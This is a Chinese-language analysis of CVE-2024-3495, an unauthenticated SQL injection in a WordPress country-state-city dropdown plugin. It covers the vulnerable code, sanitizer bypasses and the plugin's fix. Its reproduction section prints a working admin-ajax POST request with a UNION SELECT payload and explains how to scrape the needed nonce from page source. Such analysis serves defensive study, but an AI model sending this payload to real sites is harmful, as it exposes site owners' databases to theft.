wordperss_country-state-city-auto-dropdown插件未授权sql注入漏洞分析
字数 1707 2025-08-19 12:41:03
WordPress Country State City Dropdown CF7插件SQL注入漏洞分析(CVE-2024-3495)
1. 漏洞概述
WordPress的Country State City Dropdown CF7插件在2.7.2及之前版本中存在SQL注入漏洞(CVE-2024-3495)。该漏洞允许未经身份验证的远程攻击者获取数据库敏感信息。
漏洞类型
- 未授权SQL注入漏洞
影响版本
- Country State City Dropdown CF7 <= 2.7.2
漏洞成因
- 用户提供的参数未经足够转义
- 现有SQL查询未经充分准备
- 缺乏权限验证机制
2. 环境搭建
- 下载受影响版本的插件(<=2.7.2)
- 上传至WordPress插件目录
- 激活插件
3. 技术分析
3.1 WordPress Nonce机制
Nonce作用
- 用于确保请求有效且来自合法用户
- 通过将查询字符串嵌入URL和表单工作
Nonce生成过程
- 调用
wp_create_nonce函数 - 根据传入的
$action判断action有效性 - 获取当前用户UID(登录用户返回UID,未登录返回0)
- 通过
'nonce_user_logged_out'过滤器修改UID - 使用
wp_hash()函数生成nonce值
特点:
- Nonce值与当前用户UID和session绑定
- 有效期默认为12小时
- 无论是否登录都可以生成nonce
3.2 漏洞代码分析
漏洞位于wp-content/plugins/country-state-city-auto-dropdown/includes/ajax-actions.php文件中的tc_csca_get_states和tc_csca_get_cities函数。
以tc_csca_get_cities函数为例:
function tc_csca_get_cities() {
check_ajax_referer('tc_csca_ajax_nonce', 'nonce_ajax');
global $wpdb;
if (isset($_POST['sid'])) {
$sid = sanitize_text_field($_POST['sid']);
$query = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}cities WHERE state_id = %1s", $sid);
$cities = $wpdb->get_results($query);
// ...
}
// ...
}
漏洞点分析
-
Nonce验证:
- 使用
check_ajax_referer验证nonce有效性 - 但未验证用户权限
- 使用
-
参数处理:
- 使用
sanitize_text_field过滤输入 - 但过滤不彻底,可绕过
- 使用
-
SQL查询:
- 使用
$wpdb->prepare准备查询 - 但占位符
%1s未用引号包裹,导致注入
- 使用
sanitize_text_field过滤机制
- 检查输入是否为对象或数组(是则返回空)
- 强制转换为字符串
- 过滤无效UTF-8字符
- 替换以下字符为空格:
<- 换行符
- 制表符
- 回车符
- 连续空格
- 百分号编码字符
绕过方法:
- 使用注释符代替空格
- 尝试其他编码形式
3.3 Nonce获取方式
Nonce通过wp_localize_script传递到前端:
// country-state-city-auto-dropdown/trunk/includes/include-js-css.php
function tc_csca_embedCssJs() {
wp_enqueue_script('tc_csca_js', TC_CSCA_PLUGIN_URL . 'assets/js/custom.js');
wp_localize_script('tc_csca_js', 'tc_csca_ajax', array(
'ajax_url' => admin_url('admin-ajax.php'),
'nonce' => wp_create_nonce('tc_csca_ajax_nonce')
));
}
add_action('wp_enqueue_scripts', 'tc_csca_embedCssJs');
获取方法:
- 查看页面源代码
- 搜索
tc_csca_ajax对象 - 提取其中的
nonce值
4. 漏洞复现
复现步骤
-
获取Nonce:
- 访问WordPress首页
- 查看源代码搜索
tc_csca_ajax.nonce - 记录nonce值(如
edd043e9ec)
-
构造Payload:
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Content-Length: 172 action=tc_csca_get_cities&nonce_ajax=edd043e9ec&sid=1+or+0+union+select+concat(0x64617461626173653a,database(),0x7c76657273696f6e3a,version(),0x7c757365723a,user()),2,3--+- -
执行攻击:
- 发送上述POST请求
- 获取数据库信息(数据库名、版本、用户等)
Payload解释
action: 指定调用的AJAX函数nonce_ajax: 有效的nonce值sid: 注入Payload- 使用
union select联合查询 concat合并多个信息- 十六进制编码分隔符(如
0x7c是|)
- 使用
5. 漏洞修复
官方修复措施:
-
添加权限验证:
if (!current_user_can('edit_posts')) { echo json_encode(array('message' => 'Not Allowed')); wp_die(); } -
改进SQL查询:
- 使用引号包裹占位符:
'%1s'
- 使用引号包裹占位符:
-
更新后变化:
- Nonce仍会传回前端
- 但调用函数会检查权限
- 无权限返回
Not Allowed
6. 防护建议
- 及时更新插件至最新版本
- 对用户输入实施严格过滤
- 使用参数化查询并正确使用占位符
- 关键操作添加权限验证
- 限制数据库用户权限
7. 总结
该漏洞利用链的关键点:
- 前端可获取有效nonce
- 函数缺乏权限验证
- 参数过滤不彻底
- SQL查询构造不安全
通过组合这些因素,攻击者可在未授权情况下执行SQL注入攻击,获取数据库敏感信息。